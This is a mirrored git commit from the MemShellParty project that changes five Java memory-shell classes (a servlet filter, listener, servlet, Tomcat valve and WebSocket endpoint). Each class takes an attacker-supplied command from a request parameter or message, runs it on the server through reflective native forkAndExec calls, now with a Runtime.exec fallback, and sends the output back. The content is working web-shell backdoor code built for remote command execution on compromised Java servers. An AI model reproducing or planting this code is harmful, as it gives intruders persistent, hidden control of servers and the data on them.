mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: downgrade runtime.exec
This commit is contained in:
+6
-1
@@ -33,7 +33,12 @@ public class CommandFilter implements Filter {
|
|||||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = forkAndExec(cmd);
|
InputStream inputStream = null;
|
||||||
|
try {
|
||||||
|
inputStream = forkAndExec(cmd);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
|
|||||||
+8
-2
@@ -36,7 +36,12 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
InputStream inputStream = forkAndExec(cmd);
|
InputStream inputStream = null;
|
||||||
|
try {
|
||||||
|
inputStream = forkAndExec(cmd);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -107,7 +112,7 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
null, envc[0], null, std_fds, false);
|
null, envc[0], null, std_fds, false);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
e.printStackTrace();
|
// JDK7
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
forkMethod.setAccessible(true);
|
forkMethod.setAccessible(true);
|
||||||
@@ -120,6 +125,7 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
} catch (NoSuchMethodException e) {
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
|||||||
+8
-2
@@ -33,7 +33,12 @@ public class CommandServlet extends HttpServlet {
|
|||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = forkAndExec(cmd);
|
InputStream inputStream = null;
|
||||||
|
try {
|
||||||
|
inputStream = forkAndExec(cmd);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -105,7 +110,7 @@ public class CommandServlet extends HttpServlet {
|
|||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
null, envc[0], null, std_fds, false);
|
null, envc[0], null, std_fds, false);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
e.printStackTrace();
|
// JDK7
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
forkMethod.setAccessible(true);
|
forkMethod.setAccessible(true);
|
||||||
@@ -118,6 +123,7 @@ public class CommandServlet extends HttpServlet {
|
|||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
} catch (NoSuchMethodException e) {
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
|||||||
+8
-2
@@ -51,7 +51,12 @@ public class CommandValve implements Valve {
|
|||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
InputStream inputStream = forkAndExec(cmd);
|
InputStream inputStream = null;
|
||||||
|
try {
|
||||||
|
inputStream = forkAndExec(cmd);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -125,7 +130,7 @@ public class CommandValve implements Valve {
|
|||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
null, envc[0], null, std_fds, false);
|
null, envc[0], null, std_fds, false);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
e.printStackTrace();
|
// JDK7
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
forkMethod.setAccessible(true);
|
forkMethod.setAccessible(true);
|
||||||
@@ -138,6 +143,7 @@ public class CommandValve implements Valve {
|
|||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
} catch (NoSuchMethodException e) {
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
|||||||
+9
-6
@@ -27,9 +27,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(String s) {
|
public void onMessage(String cmd) {
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = forkAndExec(s);
|
InputStream inputStream = null;
|
||||||
|
try {
|
||||||
|
inputStream = forkAndExec(cmd);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||||
|
}
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
@@ -91,12 +96,10 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
int mode = 0;
|
int mode = 0;
|
||||||
try {
|
try {
|
||||||
// JDK7 的某些版本
|
|
||||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||||
value.setAccessible(true);
|
value.setAccessible(true);
|
||||||
mode = (Integer) value.get(launchMechanismObject);
|
mode = (Integer) value.get(launchMechanismObject);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
// JDK8+
|
|
||||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
mode = ordinal + 1;
|
mode = ordinal + 1;
|
||||||
}
|
}
|
||||||
@@ -107,8 +110,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||||
null, envc[0], null, std_fds, false);
|
null, envc[0], null, std_fds, false);
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
e.printStackTrace();
|
// JDK7
|
||||||
// JDK6 与 JDK7 低版本
|
|
||||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
forkMethod.setAccessible(true);
|
forkMethod.setAccessible(true);
|
||||||
@@ -121,6 +123,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds);
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
} catch (NoSuchMethodException e) {
|
} catch (NoSuchMethodException e) {
|
||||||
|
// JDK11
|
||||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||||
initStreamsMethod.setAccessible(true);
|
initStreamsMethod.setAccessible(true);
|
||||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||||
|
|||||||
Reference in New Issue
Block a user